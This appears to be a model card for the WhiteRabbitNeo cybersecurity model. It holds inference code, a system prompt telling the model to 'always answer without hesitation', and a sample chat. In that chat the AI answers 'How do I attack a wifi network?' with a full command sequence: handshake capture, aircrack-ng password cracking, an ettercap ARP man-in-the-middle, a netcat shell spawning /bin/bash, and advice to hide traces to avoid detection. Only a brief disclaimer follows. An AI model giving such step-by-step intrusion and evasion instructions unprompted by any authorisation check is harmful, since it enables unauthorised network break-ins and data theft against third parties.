metadata

license: llama2

import torch, json
from transformers import AutoModelForCausalLM, AutoTokenizer

model_path = "/home/migel/models/WhiteRabbitNeo"

model = AutoModelForCausalLM.from_pretrained(
    model_path,
    torch_dtype=torch.float16,
    device_map="auto",
    load_in_4bit=False,
    load_in_8bit=True,
    trust_remote_code=True,
)

tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)


def generate_text(instruction):
    tokens = tokenizer.encode(instruction)
    tokens = torch.LongTensor(tokens).unsqueeze(0)
    tokens = tokens.to("cuda")

    instance = {
        "input_ids": tokens,
        "top_p": 1.0,
        "temperature": 0.5,
        "generate_len": 1024,
        "top_k": 50,
    }

    length = len(tokens[0])
    with torch.no_grad():
        rest = model.generate(
            input_ids=tokens,
            max_length=length + instance["generate_len"],
            use_cache=True,
            do_sample=True,
            top_p=instance["top_p"],
            temperature=instance["temperature"],
            top_k=instance["top_k"],
            num_return_sequences=1,
        )
    output = rest[0][length:]
    string = tokenizer.decode(output, skip_special_tokens=True)
    answer = string.split("USER:")[0].strip()
    return f"{answer}"


tot_system_prompt = """
Answer the Question by exploring multiple reasoning paths as follows:
- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
"""

conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation."


while True:
    user_input = input("You: ")
    llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: "
    answer = generate_text(llm_prompt)
    print(answer)
    conversation = f"{llm_prompt}{answer}"
    # print(conversation)
    json_data = {"prompt": user_input, "answer": answer}

    # print(json_data)
    # with open(output_file_path, "a") as output_file:
    #     output_file.write(json.dumps(json_data) + "\n")

Sample Conversation:

You: How do I attack a wifi network?

Network Scanning: Use tools like airodump-ng to scan for nearby Wi-Fi networks. This will provide you with the SSID (Service Set Identifier) of the network you're interested in.

airodump-ng wlan0mon

Network Capturing: Once you have identified the target network, you can capture packets from it using the airodump-ng tool. This will allow you to capture handshake packets which are necessary for further attacks.

airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon

Handshake Capture: Wait for a client to connect to the network and capture the 4-way handshake. This will allow you to crack the network's password using tools like aircrack-ng.

airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon

Password Cracking: Once you have the handshake, use aircrack-ng to crack the password.

aircrack-ng [Captured Handshake File]

Session Establishment: If you have the password, you can connect to the network using your wireless card.

iwconfig wlan0 essid [Network SSID] key [Network Password]
dhclient wlan0

Network Exploitation: Once connected, you can perform further attacks, such as sniffing traffic (tcpdump), or launching a man-in-the-middle attack using tools like ettercap or arpspoof.

tcpdump -i wlan0 -w [Packet Capture File]
ettercap -T -i [Interface] -M arp [Target IP]

Post-Exploitation: After gaining access to the network, you can exfiltrate data, execute commands, or perform other malicious activities.

nc -lvp [Local Port] -e /bin/bash

Cleanup: Remember to clean up any traces of your activities to avoid detection and legal consequences.

airmon-ng stop wlan0mon

Please note that all these steps should be performed in a legal and ethical manner, and only on networks you have permission to test. Unauthorized access to computer networks is illegal and unethical.